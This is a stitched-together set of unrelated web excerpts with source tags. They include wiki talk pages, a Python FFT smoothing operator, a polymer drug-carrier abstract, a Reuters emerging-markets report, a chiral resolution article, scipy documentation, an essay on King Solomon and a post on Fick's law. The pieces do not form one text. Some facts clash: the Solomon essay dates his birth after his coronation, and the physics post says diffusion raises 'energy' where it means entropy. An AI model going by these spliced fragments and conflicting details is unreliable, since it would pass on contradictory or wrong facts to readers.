* "Whatever Singularity" – Jarring Effects (FR), 2009
Projects
* Original live soundtrack – Le Revelateur, Philippe Garrel (1968.), 2003
* Movement for airports transistor remixes – Remix of Ultra-red (USA), 2004
* Cine-concert – music for silent movie Paris Qui Dort (by René Clair, 1925.), 2005
* Kompozicije – nine musical pieces for quotes by Ivo Andrić, 2006
* Individual Utopias by Lala Raščić – music by Vuneny, 2008 | WIKI |
Talk:New York State Executive Mansion
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About The Roosevelt Adding a pool; How could he have done that 6 YEARS BEFORE HE BECAME GOVERNOR? —Preceding unsigned comment added by <IP_ADDRESS> (talk) 23:12, 10 March 2008 (UTC)
Does Paterson use it as his residence?
After two governors, possibly more, who have not lived in the executive mansion, does anyone know if new Gov. David A. Paterson is actually occupying the residence? - Cg-realms (talk) 23:00, 20 April 2008 (EDT) | WIKI |
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Photo of spines
If anyone's wondering: This photo is of course highly contrived. Pelicans are small, the 55 book is even smaller, some of these books are big; In Flagrante 2 is very big. No sane person would store the books shelved in this way. My idea in so arranging them and in taking and uploading this photo was merely to show the relative scale of the books. And I stuck them among Pelicans because it's unlikely that people would mistake Pelicans for photobooks ... and because I like Pelicans.
A couple of days after looking for but failing to find my copy of the Errata In Flagrante and taking this photo, the copy turned up. -- Hoary (talk) 01:10, 28 July 2018 (UTC)
Pirelli
Previously:
* In 1988 Killip was commissioned by Pirelli UK which thought that he might photograph its tire factory in Burton; agreement on this was reached in April the next year, whereupon Killip started work. Attempting to use available light in a darkened factory in which work was done on a black product, he was at first unsuccessful, but in June he switched to flash and a large-format camera and photographed for three more months.
After editing by Peelgovig:
* In 1988 Killip was commissioned by Pirelli UK to photograph its tire factory in Burton;
The latter is a good replacement for the first half of the first sentence of the former, but why did you cut the rest, Peelgovig? -- Hoary (talk) 10:47, 7 August 2018 (UTC)
* No response. I've restored it. -- Hoary (talk) 23:52, 23 August 2018 (UTC) | WIKI |
# -*- coding: utf-8 -*- from builtins import range import numpy as np from ..endomorphic_operator import EndomorphicOperator from ..fft_operator import FFTOperator from ... import DomainTuple class FFTSmoothingOperator(EndomorphicOperator): def __init__(self, domain, sigma, default_spaces=None): super(FFTSmoothingOperator, self).__init__(default_spaces) self._domain = DomainTuple.make(domain) if len(self._domain) != 1: raise ValueError("SmoothingOperator only accepts exactly one " "space as input domain.") self._sigma = float(sigma) if self._sigma == 0.: return self._transformator = FFTOperator(self._domain) codomain = self._domain[0].get_default_codomain() self._kernel = codomain.get_k_length_array() smoother = codomain.get_fft_smoothing_kernel_function(self._sigma) self._kernel = smoother(self._kernel) def _times(self, x, spaces): if self._sigma == 0: return x.copy() # the domain of the smoothing operator contains exactly one space. # Hence, if spaces is None, but we passed LinearOperator's # _check_input_compatibility, we know that x is also solely defined # on that space return self._smooth(x, (0,) if spaces is None else spaces) # ---Mandatory properties and methods--- @property def domain(self): return self._domain @property def self_adjoint(self): return True @property def unitary(self): return False # ---Added properties and methods--- def _smooth(self, x, spaces): # transform to the (global-)default codomain and perform all remaining # steps therein transformed_x = self._transformator(x, spaces=spaces) coaxes = transformed_x.domain.axes[spaces[0]] # now, apply the kernel to transformed_x # this is done node-locally utilizing numpy's reshaping in order to # apply the kernel to the correct axes reshaper = [transformed_x.shape[i] if i in coaxes else 1 for i in range(len(transformed_x.shape))] transformed_x *= np.reshape(self._kernel, reshaper) return self._transformator.adjoint_times(transformed_x, spaces=spaces) | ESSENTIALAI-STEM |
PEG-b-PPS diblock copolymer aggregates for hydrophobic drug solubilization and release: cyclosporin A as an example
Détails
ID Serval
serval:BIB_6C1E5550C13E
Type
Article: article d'un périodique ou d'un magazine.
Collection
Publications
Institution
Titre
PEG-b-PPS diblock copolymer aggregates for hydrophobic drug solubilization and release: cyclosporin A as an example
Périodique
Molecular Pharmaceutics
Auteur⸱e⸱s
Velluto D., Demurtas D., Hubbell J. A.
ISSN
1543-8384
Statut éditorial
Publié
Date de publication
2008
Volume
5
Numéro
4
Pages
632-642
Langue
anglais
Résumé
Micelles formed from amphiphilic block copolymers have been explored in recent years as carriers for hydrophobic drugs. In an aqueous environment, the hydrophobic blocks form the core of the micelle, which can host lipophilic drugs, while the hydrophilic blocks form the corona or outer shell and stabilize the interface between the hydrophobic core and the external medium. In the present work, mesophase behavior and drug encapsulation were explored in the AB block copolymeric amphiphile composed of poly(ethylene glycol) (PEG) as a hydrophile and poly(propylene sulfide) PPS as a hydrophobe, using the immunosuppressive drug cyclosporin A (CsA) as an example of a highly hydrophobic drug. Block copolymers with a degree of polymerization of 44 on the PEG and of 10, 20 and 40 on the PPS respectively (abbreviated as PEG44-b-PPS10, PEG44-b-PPS20, PEG44-b-PPS40) were synthesized and characterized. Drug-loaded polymeric micelles were obtained by the cosolvent displacement method as well as the remarkably simple method of dispersing the warm polymer melt, with drug dissolved therein, in warm water. Effective drug solubility up to 2 mg/mL in aqueous media was facilitated by the PEG- b-PPS micelles, with loading levels up to 19% w/w being achieved. Release was burst-free and sustained over periods of 9-12 days. These micelles demonstrate interesting solubilization characteristics, due to the low glass transition temperature, highly hydrophobic nature, and good solvent properties of the PPS block
Mots-clé
Capsules , chemistry , Cryoelectron Microscopy , Cyclosporine , Hydrophobicity , Magnetic Resonance Spectroscopy , Micelles , Microscopy,Electron,Transmission , Molecular Structure , Polyethylene Glycols , Polymers , Solubility , Solvents , Sulfides , Switzerland , Water
Pubmed
Web of science
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Portal:University of Oxford/On this day/July 17
Births
* 1555 – Richard Carew (Christ Church), translator and antiquary
* 1909 – Arthur Geoffrey Walker (Balliol and Merton), mathematician
* 1910 – James Coyne, Governor of the Bank of Canada 1955–61
* 1917 – G. B. Caird (Mansfield and Queen's), Principal of Mansfield 1970–77 and Dean Ireland's Professor of the Exegesis of Holy Scripture 1977–84
* 1924 – John Dodson, 3rd Baron Monk Bretton (New College), agriculturist
* 1942 – Peter Sissons (University), television news journalist
* 1943 – Shlomo Ben-Ami, Israeli politician and diplomat
* 1951 – Andrew Robathan (Oriel), Conservative politician
* 1958 – Nick Newman, cartoonist and comedy sketchwriter
* 1971 – Josh Frydenberg (University), Australian banker and politician
Deaths
* 1304 – Edmund Mortimer, 2nd Baron Mortimer, English baron
* 1685 – John Robartes, 1st Earl of Radnor (Exeter), Lord President of the Council 1679–84
* 1790 – Adam Smith (Balliol), Scottish political economist
* 1907 – William Gunion Rutherford (Balliol and University), classical scholar and headmaster
* 1933 – Charles Carmichael Lacaita (Balliol), botanist and politician
* 1965 – Walter Evans-Wentz (Jesus), American anthropologist
* 1979 – Edward Akufo-Addo (St Peter's), President of Ghana 1970–72
* 2005 – Gavin Lambert (Magdalen), novelist and screenwriter
* 2009 – Leszek Kołakowski (All Souls), Polish philosopher and historian of ideas | WIKI |
User:Dinakarr
Just another curious fellow :) ...recently moved back from Tsukuba Science City ,Japan to New Delhi/Noida,India.
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* http://dinakarr.blogspot.com/ -- Figuring Things Out | WIKI |
Page:The gods of Mars.djvu/24
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At a little distance up the river rose mighty perpendicular bluffs, from the very base of which the great river seemed to rise.
But it was not these inspiring and magnificent evidences of Nature's grandeur that took my immediate attention from the beauties of the forest. It was the sight of a score of figures moving slowly about the meadow near the bank of the mighty river.
Odd, grotesque shapes they were; unlike anything that I had ever seen upon Mars, and yet, at a distance, most man-like in appearance. The larger specimens appeared to be about ten or twelve feet in height when they stood erect, and to be proportioned as to torse [sic] and lower extremities precisely as is earthly man.
Their arms, however, were very short, and from where I stood seemed as though fashioned much after the manner of an elephant's trunk, in that they moved in sinuous and snake-like undulations, as though entirely without bony structure, or if there were bones it seemed that they must be vertebral in nature.
As I watched them from behind the stem of a huge tree, one of the creatures moved slowly in my | WIKI |
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174 The tim'rous Throng their sacred Rites forbore, And from their Heads the verdant Laurel tore; Their haughty Queen they with Regret obey'd, And still in gentle Murmurs softly pray'd. High, on the Top of Cynthus' shady Mount, With Grief the Goddess saw the base Affront; And, the Abuse revolving in her Breast, The Mother her Twin-offspring thus addrest. Lo I, my Children, who with Comfort knew Your God-like Birth, and thence my Glory drew; And thence have claim'd Precedency of Place From all but Juno of the heav'nly Race, Must now despair, and languish in Disgrace. My Godhead question'd, and all Rites Divine, Unless you succour, banish'd from my Shrine. Nay more, the Imp of Tantalus has flung Reflections with her vile paternal Tongue; Has dar'd prefer her mortal Breed to mine, And call'd me childless; which, just Fate, may she repine! When to urge more the Goddess was prepar'd, Phœbus in haste replies, Too much we've heard, And ev'ry Moment's lost, while Vengeance is defer'd. Diana spoke the same. Then both enshroud Their heav'nly Bodies in a sable Cloud; And to the Theban Tow'rs descending light, Thro' the soft yielding Air direct their Flight, Without the Wall there lies a champion Ground With even Surface, far extending round, Beaten and level'd, while it daily feels The trampling Horse, and Chariot's grinding Wheels. Part of proud Niobè's young rival Breed, Practising there to ride the manag'd Steed, Their Bridles boss'd with Gold, were mounted high On stately Furniture of Tyrian Dye. Of these, Ismenos, who by Birth had been The first fair Issue of the fruitful Queen, Just | WIKI |
Oliver St Clair, 12th Baron of Roslin
Oliver St Clair (died 1523) was a Scottish noble and the 12th Baron of Roslin.
Early life
He was the eldest son of the second marriage of William Sinclair, 1st Earl of Caithness, 2nd Lord Sinclair and 11th Baron of Roslin to Marjory Sutherland, daughter of Sutherland of Duffus. His father had a son from his first marriage to Elizabeth Douglas, William Sinclair, 3rd Lord Sinclair, who although inherited the Lordship of Sinclair was apparently disinherited of the Barony of Roslin which went to Oliver and also of the earldom of Caithness which went to Oliver's younger brother, another William Sinclair.
Lands and estates
On 9 September 1476 Oliver St Clair received from his father the baronies of Roslin, Pentland, and Pentland Muir, the barony of Herbertshire, the lands of Cousland, the barony of Ravenscraig, Dubbo, Carberry and Dysart. This was confirmed by charter from James III of Scotland on 10 September 1476. However, Oliver St Clair later gave to his brother, William Sinclair, 3rd Lord Sinclair who was also known as "of Newburgh", the lands of Cousland, Dysart and Ravenscraig with the castles in return for William and his son Henry renouncing their claims to the Barony of Roslin.
Feud with Lord Borthwick
Oliver St Clair entered into a feud with Lord Borthwick which lasted for several years after St Clair threw one of the Borthwicks over the drawbridge at Roslin Castle after dinner.
Rosslyn Chapel
Oliver St Clair completed the construction of Rosslyn Chapel, which had been started by his father.
Family
Oliver St Clair was married firstly to Christian Haldane, secondly to Elizabeth, daughter of William Borthwick, 3rd Lord Borthwick, and thirdly to Isabella Livingstone. He had the following children:
* 1) George St Clair, fiar of Roslin, who married Agnes, daughter of Robert Crichton, Lord Sanquhar. He died in 1510.
* 2) William St Clair, 13th Baron of Roslin.
* 3) Henry Sinclair, Bishop of Ross.
* 4) Oliver Sinclair, of Pitcairns. He commanded the Scottish army at the Battle of Solway Moss.
* 5) John Sinclair, Bishop of Brechin.
* 6) Alexander St Clair, who received a charter for lands from James V of Scotland in 1541.
* 7) Arthur St Clair, who received a charter for lands from Andrew Durie, Abbot of Melrose in 1539.
* 8) James St Clair, who received a charter for lands from Mr Henry St Clair, son of Oliver St Clair of Roslin.
* 9) Margaret St Clair, who married Sir Thomas Kirkpatrick of Closeburn. | WIKI |
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Wikipedia:Articles for deletion/Taiwanese Wave
The result was keep. postdlf (talk) 15:58, 22 August 2013 (UTC)
Taiwanese Wave
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This is almost entirely WP:OR and WP:SYNTH. The article's creator has gone to great length to reference various examples of the influx of Taiwanese culture into the other places in the world in order to demonstrate the phenomena of the "Taiwanese Wave" - a term not mentioned in any of the references. The only reference that comes close - citation 1 and 11 (which is the same source) - mentions the Japanese term for this phenomena in passing. This is not enough to get past the very obvious OR/Synth problem this article has. Singularity42 (talk) 11:25, 17 August 2013 (UTC)
* Keep Citation 1 or 11 is'nt the only reference for Taiwanese Wave (Tairyu). Citation 12 also mentions the term 台流 in Chinese characters (小豬台流驅颱 征日抱人潮-東京首場粉絲會 1500名櫻花妹傘海迎偶像). The phenomena of Taiwanese wave actually exists not only in Japan but also throughout East Asia & Southeast Asia, it is the truth. Other interwiki of Taiwanese wave is also 台流 and Làn sóng Đài Loan. For the neologism 台流 (Tairyu/ Taiwanese wave/ Taiwanese stream/ Taiwan wind), you can search "台流" on http://www.google.co.jp/ and "台流 日本" on http://www.google.com.tw/ . Besides that, please search "台流 F4", "台流 鄭元暢", "台流 惡作劇之吻", "台流 流星花園", "台流 飛輪海", "台流 羅志祥", ect,... on http://www.google.co.jp/. There's a definition of 台流 (Taiwanese wave) on http://dic.nicovideo.jp/a/%E5%8F%B0%E6%B5%81 (a popular video sharing website in Japan). TaiwaneseWaveVN (talk) 13:05, 17 August 2013 (UTC)
* Note: This debate has been included in the list of Language-related deletion discussions. Northamerica1000(talk) 16:05, 17 August 2013 (UTC)
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* Keep Although it's hard for an outsider to verify this does seem real and notable from the sources cited. BayShrimp (talk) 16:09, 17 August 2013 (UTC)
* Keep per above. Being able to read Chinese characters (some of which are used in Japanese), I can assure you that this is notable, if only in East Asian sources. Ansh666 19:43, 17 August 2013 (UTC)
* Japanese/Chinese:
* Rough translation #1:
* Rough translation #2:
* An appropriate search:
* Keep per the term "台流" (台流... interestingly translating as "flow units") contextually meeting WP:GNG. Just as with the Korean Wave, when a neologism becomes so much a part of culture that it is used by and described in multiple media sources, the term gains suitable Wikipedia notability. As the term "台流" is notable, the translation of "台流" (flow units) contextually as "Taiwanese Wave" is the only issue that really needs any discussion... as most non-English sources seem to be roughly contextually translated as "Taiwan Stream", and not as "Taiwan Wave". Our issues with translation of a notable term require discussion, not deletion... and an important point here toward addressing our systemic bias is that while the terms "Taiwan Stream" or "Taiwan Wave" are barely sourcable, contextual use of the term "台流" is eminently sourcable. Schmidt, Michael Q. 20:09, 17 August 2013 (UTC)
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Biography
Shlomo HaMelech, son of Dovid HaMelech and Batsheva, was born in 848 B.C.E. in Yerushalayim. Although he wasn't Dovid's eldest son, Dovid promised Batsheva that Shlomo would receive the kingship. In 967 B.C.E., at the age of twelve-years-old, Shlomo was crowned as king. When king, Shlomo faced many threats such as those of אביתר and יואב. Although seemingly too young to become a ruler over such a vast nation and face threats from these types of people, Shlomo was and still is perceived by many as a man of wisdom-"חכם מכל אדם." His first case which deemed Shlomo wise was regarding two women who claimed a baby. In order to figure out who the real mother was, Shlomo said he would cut the baby in half for each of them to share. The woman that disagreed with this idea was obviously the true mother and Shlomo resolved the issue. His wisdom quickly spread throughout his empire, stretching from the Euphrates River in the North to Egypt in the South, and those lands and empires surrounding him. Shlomo had complete peace in his borders, expanded Yerushalayim, and built his own palace along with many other phenomenal structures. His fame and fortune lead him to business deals and trading between other nations, namely Princess Sheba. The empire continued to flourish as Shlomo built the holiest place to the Jewish people: the בית המקדש. Sadly, Shlomo's forty years of the Jewish Golden Age came to an end after אדום and ארם (other surrounding nations) fought Shlomo. Many people ask why Shlomo's rule ended and most blame it on three reasons: his physical luxuries-lots of wealth, horses and chariots, 700 wives, and 300 concubines** whom he assisted in and allowed the doing of עבודה זרה-the heavy taxes he imposed on the people, and the special privileges given to Shevet Yehuda that alienated the other tribes. He died at the end of his rule at age fifty-two in Yerushalayim in 796 B.C.E and was buried in the City of David. רהובעם, Shlomo's son, became the king and the empire fell apart as it split into two. Although physically we have no remains of Shlomo and who he was, we do have his ideologies and literature passed down through his writings: קהלת, משלי, and שיר השירים. These books-namely קהלת and שיר השירים- filled with novel ideas prove Shlomo to be an immensely intelligent, but complex man.
* Some wonder why Shlomo Hamelech had so many wives and concubines. Most lend it to three reasons: nobility and royalty, political alliances, and to bring other nations closer to Hashem.
Shir HaShirim
Shir HaShirim, which is attributed to Shlomo, is a beautiful allegory about Bnei Yisrael's relationship with G-d. It literally speaks of a love chase between a man and woman, but when looked at beneath the surface one may extract amazing messages spread throughout. Rashi and the Ibn Exra expand upon the idea that the theme of Shir HaShirim is the relationship between Hashem and Knesset Yisrael. The reason the word Knesset is specifically used in conjunction with the Jews is because it presents the collection of all the Jewish souls throughout every generation. Therefore it makes sense that Hashem has a connection and relationship with every existing soul. The reason this theme works so well is because there are allusions to events that form the Jewish nation throughout history such as leaving Mitzraim, the Golden Calf, and others. For example, within the text it says "O bride; honey and milk are under your tongue, and the fragrance of your garments is like the fragrance of Lebanon," (4:11) which represents us entering Israel. Our relationship with G-d is a constant struggle as we go from Mitzraim to Har Sinai, unto present day life and so it is shown in Shir Hashirim, "I will seek him whom my soul loves; I sought him, but I did not find him." (3:2) Another theme is presented by the Ramban and Ralbag: the struggle between body and soul to connect with G-d. The girl represents the soul, the lover represents Hashem and the others is the body which prevents true connection with Him. As Shir HaShirim clearly articulates, "I will arise now and go about the city, in the market places and in the city squares. I will seek him whom my soul loves; I sought him, but I did not find him" (3:2). The soul is looking all around to connect with his lover, Hashem, in the marketplace, but to no avail due to all the distractions and physicalities that get in the way. Moreover, the Kabbalah brings a new insight as to the interpretation of the Shir-it says that the shepherd is Hashem and his lover is the entire creation. Hashem had to distance Himself because He had to make the world more physical so now there is a yearning on Earth to find the G-dliness in everything. (This is why it makes sense that the ultimate Geulah will bring us back to the state of Adam before his sin-because our penultimate yearning is to be G-dly like in Gan Eden.) This is clearly presented throughout as the lady yearns for the shepherd, "my soul went out when he spoke; I sought him, but found him not" (5:6). Although Shir HaShirim's messages and themes are extremely relevant, there was still some controversy as to whether this should be included in the Tanach or not. Superficially, this Shir is about a love chase which makes it problematic to be included in the Tanach. On the other hand, Rav Akiva said that this book is the "holy of holies." Rav Unterman explains this statement and says by calling it the "holy of holies" is not saying it is more spiritual, but it is simply a defining term just like Korbanot. For example, in the Kodoshim Kalim, the owner receives a portion of the sacrifice, but in the Kodshei Kodoshim, the sacrifice is strictly for the Heavens. So too here, while all other scriptures have deeper meanings, there's also significance to their simpler meaning to Bnei Yisrael, but here with Shir HaShirim, which is compared to the Kodshei Kodoshim, Bnei Yisrael, the owner, has no part in the simplistic meaning of a love chase, but only its deeper meaning of a relationship with G-d. So, someone who looks at Shir HaShirim at face value completely miss the beautiful teachings and messages it passes down to the generations that are lucky enough to read it. There is also a question as to who wrote Shir HaShirim, but it attribute to Shlomo due to the clarity of the proof presented throughout the Shir. For example, "The Song of Songs, which is Solomon's" (1:1). Right away the Shir starts off stating that it is Shlomo's. Moreover, "At the gathering of the steeds of Pharaoh's chariots have I silenced you, my beloved" (1:9) clearly proves that it must have been Shlomo because he loved and was married to Bat Paraoh (one of his only wives that are mentioned in the text of the Tanach). One more example found within the Shir states, "Solomon had a vineyard in Baal-Hamon; he gave the vineyard to the keepers; each one brought for the fruit thereof one thousand pieces of silver. My vineyard, which is mine, is before me; you, O Solomon, shall have the thousand, and those who watch its fruit, two hundred" (8:11-12), which proves that only Shlomo could have written this because only he knows what his own vineyard produces. Through much controversy as to who wrote Shir HaShirim, whether or not it should be included in the Tanach, and the question as to what the Shir means, one may learn the importance of this Sefer to us as individuals and our connection with Hashem, but also to the foundation of Judaism as a whole.
Kohelet
As opposed to Shlomo's uplifting themes and messages in Shir HaShirim, he wrote a book named Kohelet, as proven in 1:1 (and 1:12 as well), "The words of Koheleth son of David, king in Jerusalem," which is based on the futilities of man and the world at large. It speaks of the mondainities of the world, the futility of our actions and daily lives, and that in the end we can only attribute our lives to G-d who created a world of perfect balance. Throughout Kohelet, Shlomo questions the purpose of individual people, mankind, and the world itself. Due to Kohelet's depressing message, it probably raised more concern than any other biblical book. Chazal worried it would cause greater religious harm than good because the verses appeared to contradict the values in the Torah. Although this may be true, Chazal concluded that since Kohelet began and ended with religiously appropriate teachings, those verses set the tone for the remainder of its' contents and is therefore beneficial to the common Jew. If someone gets anti-Torah interpretations from it then they are surely reading it out of context. (There's a midrash in Vayikra that says the Rabbis did not want to include Kohelet because it leaned towards heresy, but in the end they agreed that Shlomo had spoken well.) Kohelet overall has two main themes: a. the physical world is pointless and b. man is inferior to G-d. Repeatedly, Shlomo veers back to his first theme of the futility of existence. For example, "I saw all the deeds that were done under the sun, and behold, everything is vanity and frustration" (1:14). Later on it also says, "I said to myself, 'Come now, I will mix [wine] with joy and experience pleasure'; and behold, this too was vanity" (2:1). Another proof that he believed that all is futile is when he says, " Then I turned [to look] at all my deeds that my hands had wrought and upon the toil that I had toiled to do, and behold everything is vanity and frustration, and there is no profit under the sun" (2:11). Yet, Shlomo brings meaning to this Megillah and life at large when he turns the message around to say all is in the hands of G-d and that is how we bring meaning to our lives. For example, "He has made everything beautiful in its time; also the [wisdom of] the world He put into their hearts, save that man should not find the deed which God did, from beginning to end. I knew that there is nothing better for them but to rejoice and to do good during his lifetime. And also, every man who eats and drinks and enjoys what is good in all his toil, it is a gift of God. I knew that everything that God made, that will be forever; we cannot add to it, nor can we subtract from it; and God made it so that they fear Him" (3:11-14). Overall, one may see that Shlomo, although king, indulged himself in the same worries and physicalities of a common man, and we therefore can relate to him and learn how to live our lives to the fullest. Our leaders in history are not just complex, but they are human and that is why we look to them for advice on the pursuit for meaning and fulfillment.
* Referred to chabad.org translations of the Megillot | WIKI |
EMERGING MARKETS-Emerging stocks falter on growth concerns, FX lifts
* India’s rupee rallied to a near two-month high * China data fuels fears of slowing global growth * Dollar, euro steady with eyes on Brexit deal By Agamoni Ghosh Nov 14 (Reuters) - Plunging oil prices and a weaker dollar lifted most emerging currencies on Wednesday but failed to boost emerging shares weighed down by Chinese growth concerns. The emerging currency index firmed with the extended oil slide boosting currencies of big energy importers such as India , Turkey, Indonesia and the Philippines. The rupee rallied to a near two-month high. “Two key things driving FX markets in particular. One is the news yesterday on the potential easing in trade tension between U.S. and China ... and secondly the continued decline in oil prices which benefit net importers such as the Indian rupee,” said Khoon Goh, Head of Asia Research at ANZ. U.S.-China trade tensions enjoyed a reprieve on Tuesday as negotiations between the world’s two largest economies appeared to be making headway, with a U.S. adviser saying the countries’ two leaders would meet at the G20 meeting later this month. “So, we are seeing a divergence between FX and equities in Asia where the equity moves are being driven by what is happening in the U.S., while FX is driven by oil prices and ongoing developments in the U.S.-China trade relationships,” added Goh. Overnight, Wall Street reversed early gains that were driven by trade optimism as energy stocks dragged. The MSCI index for stocks was lower by 0.4 percent, its fifth-straight session of losses as most Asian indices came under pressure from mainland Chinese equities , which fell about 1 percent each. Losses in China came after new data underscored concerns about weaker economic growth, and as energy producers slipped on plunging oil prices. Indices in Hong Kong and South Korea also fell by 0.5 and 0.15 respectively. The Russian stock index fell 1.2 percent dragged by energy stocks, but, the rouble was slightly firmer supported by upcoming local tax payments which offset the plunge in benchmark oil prices. Stock in South Africa were trading at their lowest levels since the beginning of the month, down 1.3 percent, while the rand climbed 0.5 percent as investors awaited the release of retail sales figures which are expected to rise by 2.2 percent, as per a Reuters Poll. The Czech crown hit a 4-month low against the euro after theirs quarter economic growth came in below analysts’ expectation. Other Eastern European currencies remained little changed against a steady euro. News that United Kingdom and European Union struck a Brexit divorce deal which, however, may face hurdles getting through the House of Commons, kept the dollar’s European rivals at bay. For GRAPHIC on emerging market FX performance 2018, see tmsnrt.rs/2egbfVh For GRAPHIC on MSCI emerging index performance 2018, see tmsnrt.rs/2OusNdX For TOP NEWS across emerging markets For CENTRAL EUROPE market report, see For TURKISH market report, see For RUSSIAN market report, see (Reporting by Agamoni Ghosh and Susan Mathew in Bengaluru; Editing by Andrew Heavens) | NEWS-MULTISOURCE |
Chiral resolution
Chiral resolution, or enantiomeric resolution, is a process in stereochemistry for the separation of racemic mixture into their enantiomers. It is an important tool in the production of optically active compounds, including drugs. Another term with the same meaning is optical resolution.
The use of chiral resolution to obtain enantiomerically pure compounds has the disadvantage of necessarily discarding at least half of the starting racemic mixture. Asymmetric synthesis of one of the enantiomers is one means of avoiding this waste.
Crystallization of diastereomeric salts
The most common method for chiral resolution involves conversion of the racemic mixture to a pair of diastereomeric derivatives by reacting them with chiral derivatizing agents, also known as chiral resolving agents. The derivatives which are then separated by conventional crystallization, and converted back to the enantiomers by removal of the resolving agent. The process can be laborious and depends on the divergent solubilities of the diastereomers, which is difficult to predict. Often the less soluble diastereomer is targeted and the other is discarded or racemized for reuse. It is common to test several resolving agents. Typical derivatization involves salt formation between an amine and a carboxylic acid. Simple deprotonation then yields back the pure enantiomer. Examples of chiral derivatizing agents are tartaric acid and the amine brucine. The method was introduced (again) by Louis Pasteur in 1853 by resolving racemic tartaric acid with optically active (+)-cinchotoxine.
Case study
One modern-day method of chiral resolution is used in the organic synthesis of the drug duloxetine:
In one of its steps the racemic alcohol 1 is dissolved in a mixture of toluene and methanol to which solution is added optically active (S)-mandelic acid 3. The alcohol (S)-enantiomer forms an insoluble diastereomeric salt with the mandelic acid and can be filtered from the solution. Simple deprotonation with sodium hydroxide liberates free (S)-alcohol. In the meanwhile the (R)-alcohol remains in solution unaffected and is recycled back to the racemic mixture by epimerization with hydrochloric acid in toluene. This process is known as RRR synthesis in which the R's stand for Resolution-Racemization-Recycle.
Common resolving agents
* Antimony potassium tartrate, an anion, that forms diastereomeric salts with chiral cations.
* Camphorsulfonic acid, an acid that forms diastereomeric salts with chiral amines
* 1-Phenylethylamine, a base that forms diastereomeric salts with chiral acids. Many related chiral amines have been demonstrated.
The chiral pool consists of many widely available resolving agents.
Spontaneous resolution and related specialized techniques
Via the process known as spontaneous resolution, 5-10% of all racemates crystallize as mixtures of enantiopure crystals. This phenomenon allowed Louis Pasteur to separate left-handed and right-handed sodium ammonium tartrate crystals. These experiments underpinned his discovery of optical activity. In 1882 he went on to demonstrate that by seeding a supersaturated solution of sodium ammonium tartrate with a d-crystal on one side of the reactor and a l-crystal on the opposite side, crystals of opposite handedness will form on the opposite sides of the reactor.
Spontaneous resolution has also been demonstrated with racemic methadone. In a typical setup 50 grams dl-methadone is dissolved in petroleum ether and concentrated. Two millimeter-sized d- and l-crystals are added and after stirring for 125 hours at 40 °C two large d- and l-crystals are recovered in 50% yield.
Another form of direct crystallization is preferential crystallization also called resolution by entrainment of one of the enantiomers. For example, seed crystals of (−)- induce crystallization of this enantiomer from an ethanol solution of (±)-.
Chiral column chromatography
In chiral column chromatography the stationary phase is made chiral with similar resolving agents as described above. | WIKI |
scipy.special.pro_rad1_cv#
scipy.special.pro_rad1_cv(m, n, c, cv, x, out=None) = <ufunc 'pro_rad1_cv'>#
Prolate spheroidal radial function pro_rad1 for precomputed characteristic value
Computes the prolate spheroidal radial function of the first kind and its derivative (with respect to x) for mode parameters m>=0 and n>=m, spheroidal parameter c and |x| < 1.0. Requires pre-computed characteristic value.
Parameters:
marray_like
Nonnegative mode parameter m
narray_like
Mode parameter n (>= m)
carray_like
Spheroidal parameter
cvarray_like
Characteristic value
xarray_like
Real parameter (|x| < 1.0)
outndarray, optional
Optional output array for the function results
Returns:
sscalar or ndarray
Value of the function
spscalar or ndarray
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19.14 Fick’s law of diffusion and the conduction of heat
Before you read this, I suggest you read post 18.26.
In post 18.26 we saw that molecules (or atoms or ions) move spontaneously from regions of high concentration to regions of low concentration, in order to increase the entropy of the system. Processes that increase entropy occur spontaneously because they lead to a more probable distribution of something – in this case molecules; this spontaneous increase in entropy can be considered as a tendency to increase the disorder of a system, as explained in posts 16.35 and 16.38.
Heat flows spontaneously from hot things to cold things. This observation is one way of stating the second law of thermodynamics and is equivalent to stating that heat flows to increase the entropy of a system; this is explained in posts 16.34 and 16.35. When heat moves spontaneously in a solid, we call the process thermal conduction or conduction of heat or, simply, conduction. Since heat is molecular kinetic energy (post 16.35), we can think of conduction of heat as diffusion of molecular kinetic energy; the molecules can transfer kinetic energy to their neighbours by inelastic collisions (post 17.30).
So we can think of diffusion as spontaneous transfer of molecules and conduction as spontaneous transfer of molecular kinetic energy – both processes lead to an increase in the energy of a system.
Given the similarity of the two processes, it’s not surprising that they can be described by very similar equations. Similar analogies exist between the descriptions of translational and rotational motion (post 17.39) and between the behaviour of electrical and mechanical systems (post 18.24).
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In the picture above, molecules of A diffuse in a medium B (that could be a vacuum) in one dimension, in the direction shown by the arrow. We will consider the rate, JA, at which the molecules move through the volume between the red and blue surfaces, that are an infinitesimal distance, δx apart. The two surfaces have identical dimensions, are perpendicular to the arrow, and have a unit area (1 m2 in SI units, post 16.12). The arrow passes through equivalent points in both surfaces.
If the concentration of A at the red surface is cA, the concentration at the blue surface must be less – otherwise diffusion wouldn’t occur in the direction shown. We’ll represent the concentration at the blue surface by cAδcA, where δcA is the infinitesimal decease in concentration (it’s infinitesimal because the surfaces are an infinitesimal distance apart). The greater the value of δx, the slower diffusion will occur. And the greater the value of δcA, the faster diffusion will occur. So, how does δcA depend on δx? Since δx is infinitesimal, a graph of δcA against δx is almost a straight line (see post 17.4) whose slope is – (δcA/δx); the negative sign arises because δcA decreases as δx increases. The we can write (see post 17.4) that
JA ≈ – DAB(δcA/δx)
where DAB is a constant. In the limit, as δx tends to zero (see post 17.4), this approximation becomes exact and we can write
JA = – DAB(dcA/dx). (1)
Here the derivative of cA with respect to x, dcA/dx (see post 17.4), is called the diffusion gradient. DAB is called the diffusion constant for A diffusing in B.
Equation 1 is called Fick’s law or Fick’s first law. Experiments show that it describes the diffusion in a wide range of systems. However, the derivation assumes that A passes through B without any interaction occurring between molecules of A and B. If such interactions occur, for example, if there is a chemical reaction (post 16.33) between A and B, the derivation above and, therefore, Fick’s law is not valid.
What are the units of DAB? (If the meaning of this question is not clear, see post 17.41). You might suppose this would depend on how we measure concentration; it could be measured in molecules per unit volume, mass (kg) per unit volume or moles (post 17.48) per unit volume. Let’s avoid the problem by supposing that we measure it in something per unit volume that has the units S.L-3 (post 17.41). Then the units of JA are S.T-1.L-2 because it is the rate of flow per unit area. The units of dcA/dx are S.L-3.L-1 = S.L-4. So the units of DAB are (S.T-1.L-2)/(S.L-4) = L2.T-1. (If you don’t understand how I manipulated the superscripts here, see post 18.2.) This result means that DAB is independent of whether we measure the flow of molecules, mass or moles. In SI units, it is measured in m2.s-1 (post 16.12).
The equation that describes conduction of heat can be derived in the same way. The result is
JQ = – k(dT/dx). (2)
